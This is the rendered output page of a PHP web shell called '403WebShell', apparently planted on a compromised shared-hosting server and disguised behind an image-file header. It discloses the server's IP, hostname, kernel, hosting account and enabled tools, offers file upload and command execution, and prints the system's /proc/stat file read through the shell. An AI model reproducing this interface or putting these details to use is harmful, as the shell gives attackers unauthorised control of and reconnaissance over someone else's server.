????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.80.1  /  Your IP : 216.73.216.2
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /./proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /./proc///stat
cpu  6356456749 116806982 2385091354 8510658289 401058011 0 273902548 12212148 0 0
cpu0 262670113 4903857 98966347 356421780 16733385 0 12916526 475556 0 0
cpu1 264181813 5017817 99194029 355157744 16744701 0 12198296 473628 0 0
cpu2 264847871 4886075 99374114 354443419 16806148 0 11989034 471208 0 0
cpu3 265753316 4858164 99308513 353960928 16809257 0 11635661 472124 0 0
cpu4 266522579 4904920 99675289 354565928 16910799 0 9856885 468150 0 0
cpu5 266666982 4844057 99629084 354681359 16839822 0 9748114 467654 0 0
cpu6 266349652 4879131 99749710 354853818 16847647 0 9681398 468455 0 0
cpu7 266729832 4863740 99754114 354515163 16892343 0 9605254 467543 0 0
cpu8 265742517 4862389 99570804 353942073 16857768 0 11189210 472171 0 0
cpu9 255325432 4756904 99413122 363389362 17166544 0 11513705 487098 0 0
cpu10 264952317 4929852 99419127 354852446 16826999 0 11130582 470895 0 0
cpu11 267807394 4948069 99577087 350262467 16120758 0 9395544 772141 0 0
cpu12 265652303 4847576 99474710 354264656 16805160 0 11065561 469220 0 0
cpu13 262407390 4760631 98201733 349629203 16291306 0 20368367 643276 0 0
cpu14 262861809 4835846 98247389 348782955 16245692 0 20509374 595491 0 0
cpu15 265116006 4803416 99364985 355018247 16758201 0 11020978 471449 0 0
cpu16 265036065 4842432 99453385 354705221 16771852 0 11267355 477298 0 0
cpu17 264919327 4809914 99362066 355086196 16754966 0 11176745 477829 0 0
cpu18 265093122 4931778 99267773 355046318 16714796 0 10988555 472063 0 0
cpu19 265270296 4739461 99233439 355187514 16695906 0 10975479 469669 0 0
cpu20 265475975 4980050 99624434 356051572 16770329 0 9344884 465624 0 0
cpu21 264840548 4801204 99920131 356549593 16793412 0 9346484 466149 0 0
cpu22 264996841 4881462 99558147 356678428 16776475 0 9334445 466842 0 0
cpu23 267237240 4918228 99751812 352611886 16123735 0 7644101 770602 0 0
intr 84391835955 61 9 0 0 479 0 0 0 1 0 0 0 15 0 7478400 0 0 0 0 0 0 0 0 0 0 0 0 2939828934 2913872988 0 29 0 35137273 1249528846 0 281345376 273059996 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 275461289415
btime 1749132754
processes 899909974
procs_running 28
procs_blocked 0
softirq 128542129177 1 3483728873 8448 1489634880 1217845940 0 668625545 4237215522 2077282 1478875694

Youez - 2016 - github.com/yon3zu
LinuXploit